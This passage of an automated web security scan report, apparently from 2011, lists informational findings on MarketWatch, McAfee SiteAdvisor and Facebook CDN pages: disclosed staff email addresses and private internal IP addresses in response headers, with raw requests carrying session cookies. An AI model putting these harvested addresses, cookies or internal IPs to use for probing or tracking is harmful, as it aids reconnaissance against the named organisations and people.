Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A3%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Article_Futures%252520Movers_53B5F46A-7D06-11E0-915A-00212804637C%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13%25253Flink%25253DMW_story_in%2526ot%253DA

Response

23.48. http://www.marketwatch.com/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390

Issue detail

The following email address was disclosed in the response:

rmantell@marketwatch.com

Request

GET /story/medicare-social-security-finance-outlook-worsens-2011-05-13-1223390?Link=obinsite HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://traffic.outbrain.com/network/redir?key=f465737d830a35fc698cafafb4ce7caf&rdid=205292719&type=IMD_def_prd&in-site=true&req_id=cd9a83f96a2d455991d95bc48290df11&agent=blog_JS_rec&recMode=3&reqType=1&wid=102&imgType=0&version=37740&idx=3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=%5B%5BB%5D%5D

Response

23.49. http://www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.marketwatch.com
Path:	/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12

Issue detail

The following email addresses were disclosed in the response:

cassis@marketwatch.com
mpicache@marketwatch.com

Request

GET /story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12 HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_c=w%3A1%7Cb%3A2%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_cc=true; s_vnum=1307959980006%26vn%3D1; refresh=off; rsi_csl=; rsi_segs=; BIZO=biz=1053&; _chartbeat2=g73giwkwwxj3e1nb; s_invisit=true; s_sq=djglobal%2Cdjmarketwatch%3D%2526pid%253DMW_Home%2526pidt%253D1%2526oid%253Dhttp%25253A//www.marketwatch.com/story/oil-futures-ease-but-stay-above-98-a-barrel-2011-05-12%2526ot%253DA

Response

23.50. http://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The following email addresses were disclosed in the response:

security@mcafeesecure.com
support@mcafeesecure.com

Request

Response

23.51. https://www.mcafeesecure.com/SignUp.sa previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/SignUp.sa

Issue detail

The following email addresses were disclosed in the response:

security@mcafeesecure.com
support@mcafeesecure.com

Request

Response

23.52. https://www.mcafeesecure.com/us/products/buy_now.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.mcafeesecure.com
Path:	/us/products/buy_now.jsp

Issue detail

The following email addresses were disclosed in the response:

security@mcafeesecure.com
support@mcafeesecure.com

Request

Response

23.53. http://www.siteadvisor.com/script/widget.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.siteadvisor.com
Path:	/script/widget.js

Issue detail

The following email address was disclosed in the response:

s@tiaevdsiroc.mo

Request

GET /script/widget.js HTTP/1.1
Host: www.siteadvisor.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:53:39 GMT
Server: Apache
Last-Modified: Wed, 09 Jul 2008 02:03:21 GMT
ETag: "6088a7-24c9-4518db6812c40"
Accept-Ranges: bytes
Content-Length: 9417
Content-Type: application/javascript

// ----------------------------------------------------------------------------------------------------
// SPINDOWNS

// spindown functions
function spindown(e, caller) {
   if (!caller) caller = this;

...[SNIP]...
ler = this;

   if (caller.value == ''){
       caller.value = note;
   }
}

// scrambles email address
function decode_email_address(prefix,use2) {
   if (use2 != true)
    use2 = false;
   var encodedsuffix = "s@tiaevdsiroc.mo";
   var encodedsuffix2 = "m@acef.eocm"
   var suffix = "";
   var i = 0;
   while (i < encodedsuffix2.length) {
       suffix += encodedsuffix2.charAt(i+1);
       suffix += encodedsuffix2.charAt(i);
       i += 2;
   }
   if
...[SNIP]...

24. Private IP addresses disclosed previous next
There are 96 instances of this issue:

http://connect.facebook.net/en_US/all.js
http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css
http://static.ak.connect.facebook.com/connect.php/en_US/js/Api/CanvasUtil/Connect/XFBML
http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US
http://static.ak.fbcdn.net/connect/xd_proxy.php
http://static.ak.fbcdn.net/connect/xd_proxy.php
http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/-bv7QJTbOXU.css
http://static.ak.fbcdn.net/rsrc.php/v1/yi/r/JpK09bsayNa.js
http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css
http://static.ak.fbcdn.net/rsrc.php/v1/yw/r/nMKlWCMk1wz.js
http://static.ak.fbcdn.net/rsrc.php/v1/zD/r/B4K_BWwP7P5.png
http://static.ak.fbcdn.net/rsrc.php/v1/zL/r/FGFbc80dUKj.png
http://static.ak.fbcdn.net/rsrc.php/v1/ze/r/nZW4C56WJb6.png
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/extern/login_status.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/fan.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/like.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/likebox.php
http://www.facebook.com/plugins/recommendations.php
http://www.facebook.com/widgets/recommendations.php
http://www.gomeznetworks.com/css/GomezTheme.css
http://www.gomeznetworks.com/css/GomezTheme.css
http://www.gomeznetworks.com/images/theme/compuware_gomez_logo.png
http://www.gomeznetworks.com/images/theme/compuware_gomez_logo.png
http://www.gomeznetworks.com/images/theme/platform_theme.png
http://www.gomeznetworks.com/images/theme/platform_theme.png
http://www.gomeznetworks.com/tempstyle.css
http://www.google.com/sdch/vD843DpA.dct
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx
http://www.marketwatch.com/bg/api/Connect.ashx

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.

24.1. http://connect.facebook.net/en_US/all.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://connect.facebook.net
Path:	/en_US/all.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.169.108

Request

GET /en_US/all.js HTTP/1.1
Host: connect.facebook.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
If-None-Match: "db0e54357e9bac109c4a31ec215f595b"

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "8d8820ae13b1e6c701a6f8a11096eff7"
X-FB-Server: 10.32.169.108
X-Cnection: close
Cache-Control: public, max-age=946
Expires: Sat, 14 May 2011 10:24:58 GMT
Date: Sat, 14 May 2011 10:09:12 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 118905

/*1305324297,169912684,JIT Construction: v378029,en_US*/

if(!window.FB)window.FB={_apiKey:null,_session:null,_userStatus:'unknown',_logging:true,_inCanvas:((window.location.search.indexOf('fb_sig_in_
...[SNIP]...

24.2. http://static.ak.connect.facebook.com/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.connect.facebook.com
Path:	/connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.252.102

Request

GET /connect.php/en_US/css/bookmark-button-css/connect-button-css/share-button-css/FB.Connect-css/connect-css HTTP/1.1
Host: static.ak.connect.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/download/windows.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
ETag: "4cee9fd4a0927297616c6d703f3dd063"
X-FB-Server: 10.32.252.102
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=391
Expires: Sat, 14 May 2011 13:00:53 GMT
Date: Sat, 14 May 2011 12:54:22 GMT
Connection: close
Content-Length: 14288

/*1303256717,169933926,JIT Construction: v368160,en_US*/

.FB_UIButton{background-image:url(/images/ui/UIActionButton_ltr.png);border-style:solid;border-width:1px;display:-moz-inline-box;display:inlin
...[SNIP]...

24.3. http://static.ak.connect.facebook.com/connect.php/en_US/js/Api/CanvasUtil/Connect/XFBML previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.connect.facebook.com
Path:	/connect.php/en_US/js/Api/CanvasUtil/Connect/XFBML

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.213.127

Request

GET /connect.php/en_US/js/Api/CanvasUtil/Connect/XFBML HTTP/1.1
Host: static.ak.connect.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/download/windows.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "8279b1007e81a5634a0531d0b8345618"
X-FB-Server: 10.32.213.127
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=170
Expires: Sat, 14 May 2011 12:57:12 GMT
Date: Sat, 14 May 2011 12:54:22 GMT
Connection: close
Content-Length: 211449

/*1305344280,169923967,JIT Construction: v378279,en_US*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use
...[SNIP]...

24.4. http://static.ak.connect.facebook.com/js/api_lib/v0.4/FeatureLoader.js.php/en_US previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.connect.facebook.com
Path:	/js/api_lib/v0.4/FeatureLoader.js.php/en_US

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.32.203.123

Request

GET /js/api_lib/v0.4/FeatureLoader.js.php/en_US HTTP/1.1
Host: static.ak.connect.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/download/windows.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: datr=3GHNTeTln1shCRlV4nyEfKsc

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
ETag: "7534b25717a0f24080452f5a5a3a2d84"
X-FB-Server: 10.32.203.123
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=1044
Expires: Sat, 14 May 2011 13:11:45 GMT
Date: Sat, 14 May 2011 12:54:21 GMT
Connection: close
Content-Length: 18453

/*1305344008,169921403,JIT Construction: v378279,en_US*/

if (!window.FB) {FB = {};} if(!FB.dynData) { FB.dynData = {"site_vars":{"canvas_client_compute_content_size_method":1,"use_postMessage":0,"use
...[SNIP]...

24.5. http://static.ak.fbcdn.net/connect/xd_proxy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/connect/xd_proxy.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.138.69.182

Request

GET /connect/xd_proxy.php?version=1 HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/public/page/news-real-estate-homes.html?mod=WSJ_topnav_realestate_main
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.138.69.182
Vary: Accept-Encoding
Cache-Control: public, max-age=1395
Expires: Sat, 14 May 2011 10:47:29 GMT
Date: Sat, 14 May 2011 10:24:14 GMT
Connection: close
Content-Length: 3017

<!doctype html>
<html>
<head>
<title>XD Proxy</title>
</head>
<body onload="doFragmentSend()">
<div
id="swf_holder"
style="position: absolute; top: -10000px; width: 1px; heig
...[SNIP]...

24.6. http://static.ak.fbcdn.net/connect/xd_proxy.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/connect/xd_proxy.php

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.147.196

Request

GET /connect/xd_proxy.php?version=1 HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-FB-Server: 10.30.147.196
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=647
Expires: Sat, 14 May 2011 10:20:07 GMT
Date: Sat, 14 May 2011 10:09:20 GMT
Connection: close
Content-Length: 3017

<!doctype html>
<html>
<head>
<title>XD Proxy</title>
</head>
<body onload="doFragmentSend()">
<div
id="swf_holder"
style="position: absolute; top: -10000px; width: 1px; heig
...[SNIP]...

24.7. http://static.ak.fbcdn.net/rsrc.php/v1/yU/r/-bv7QJTbOXU.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yU/r/-bv7QJTbOXU.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.148.190

Request

GET /rsrc.php/v1/yU/r/-bv7QJTbOXU.css HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df98b64dd4%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
Last-Modified: Wed, 11 May 2011 05:30:16 GMT
X-FB-Server: 10.30.148.190
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=31316393
Expires: Thu, 10 May 2012 21:09:55 GMT
Date: Sat, 14 May 2011 10:10:02 GMT
Connection: close
Content-Length: 6869

/*1305148186,169776318*/

.fbSendButton{display:inline-block}
#LikePluginPagelet .fbSendButton{display:block}
.fbSendButton .btnLink{display:block;white-space:nowrap;line-height:14px}
.fbSendButtonBig
...[SNIP]...

24.8. http://static.ak.fbcdn.net/rsrc.php/v1/yi/r/JpK09bsayNa.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yi/r/JpK09bsayNa.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.145.197

Request

GET /rsrc.php/v1/yi/r/JpK09bsayNa.js HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Last-Modified: Thu, 12 May 2011 21:56:54 GMT
X-FB-Server: 10.30.145.197
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=31406298
Expires: Fri, 11 May 2012 22:07:32 GMT
Date: Sat, 14 May 2011 10:09:14 GMT
Connection: close
Content-Length: 102365

/*1305238018,169775557*/

if (window.CavalryLogger) { CavalryLogger.start_js(["D\/yBL"]); }

function object(b){var a=new Function();a.prototype=b;return new a();}function is_scalar(a){return (/string
...[SNIP]...

24.9. http://static.ak.fbcdn.net/rsrc.php/v1/yp/r/RJF4f9OXUL1.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yp/r/RJF4f9OXUL1.css

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.138.64.186

Request

GET /rsrc.php/v1/yp/r/RJF4f9OXUL1.css HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: text/css; charset=utf-8
Last-Modified: Thu, 12 May 2011 21:59:55 GMT
X-FB-Server: 10.138.64.186
Vary: Accept-Encoding
Cache-Control: public, max-age=31406264
Expires: Fri, 11 May 2012 22:06:57 GMT
Date: Sat, 14 May 2011 10:09:13 GMT
Connection: close
Content-Length: 32775

/*1305238022,176832698*/

.DOMControl_placeholder{color:#777}
.no_js .DOMControl_placeholder{color:#000}
.DOMControl_shadow{left:-10000px;position:absolute;top:-10000px;white-space:pre-wrap}
body{back
...[SNIP]...

24.10. http://static.ak.fbcdn.net/rsrc.php/v1/yw/r/nMKlWCMk1wz.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/yw/r/nMKlWCMk1wz.js

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.138.16.183

Request

GET /rsrc.php/v1/yw/r/nMKlWCMk1wz.js HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/plugins/like.php?api_key=67fc5e01d68cf35eba52297f5bf2ed3d&channel_url=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fversion%3D1%23cb%3Df98b64dd4%26origin%3Dhttp%253A%252F%252Fonline.wsj.com%252Ff1ec38af7c%26relation%3Dparent.parent%26transport%3Dpostmessage&href=http%3A%2F%2Fonline.wsj.com%2Farticle%2FSB10001424052748703864204576321552255041680.html%3Fmod%3DWSJ_hp_LEFTTopStories&layout=standard&locale=en_US&node_type=link&sdk=joey&send=true&show_faces=true&width=450
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript; charset=utf-8
Last-Modified: Fri, 13 May 2011 20:29:54 GMT
X-FB-Server: 10.138.16.183
Vary: Accept-Encoding
Cache-Control: public, max-age=31487616
Expires: Sat, 12 May 2012 20:43:38 GMT
Date: Sat, 14 May 2011 10:10:02 GMT
Connection: close
Content-Length: 55413

/*1305319465,176820407*/

if (window.CavalryLogger) { CavalryLogger.start_js(["qEipN"]); }

WindowComm={_callbacks:{},makeHandler:function(a,c){c=c||'opener';var b='f'+(Math.random()*(1<<30)).toString
...[SNIP]...

24.11. http://static.ak.fbcdn.net/rsrc.php/v1/zD/r/B4K_BWwP7P5.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/zD/r/B4K_BWwP7P5.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.147.196

Request

GET /rsrc.php/v1/zD/r/B4K_BWwP7P5.png HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://www.facebook.com/widgets/recommendations.php?header=false&height=300&width=377&site=online.wsj.com&border_color=white
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Type: image/png
Last-Modified: Sun, 14 Mar 2010 12:49:56 -0700
X-Powered-By: HPHP
X-FB-Server: 10.30.147.196
X-Cnection: close
Vary: Accept-Encoding
Cache-Control: public, max-age=26300330
Expires: Tue, 13 Mar 2012 19:48:10 GMT
Date: Sat, 14 May 2011 10:09:20 GMT
Connection: close
Content-Length: 1009

.PNG
.
...IHDR.............l.`o....PLTE...{..p..cy.h~.....................................Jd........................................o.Uk.Pi.MZt.\t.Ys.]v.u.[......_x................[t.Xr.......c{.p.V
...[SNIP]...

24.12. http://static.ak.fbcdn.net/rsrc.php/v1/zL/r/FGFbc80dUKj.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://static.ak.fbcdn.net
Path:	/rsrc.php/v1/zL/r/FGFbc80dUKj.png

Issue detail

The following RFC 1918 IP address was disclosed in the response:

10.30.148.193

Request

GET /rsrc.php/v1/zL/r/FGFbc80dUKj.png HTTP/1.1
Host: static.ak.fbcdn.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/home-page
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 1916
Content-Type: image/png
Last-Modified: Sun, 14 Mar 2010 16:59:39 -0700
X-Powered-By: HPHP
X-FB-Server: 10.30.148.193
X-Cnection: close
Cache-Control: public, max-age=26315431
Expires: Tue, 13 Mar 2012 23:59:51 GMT
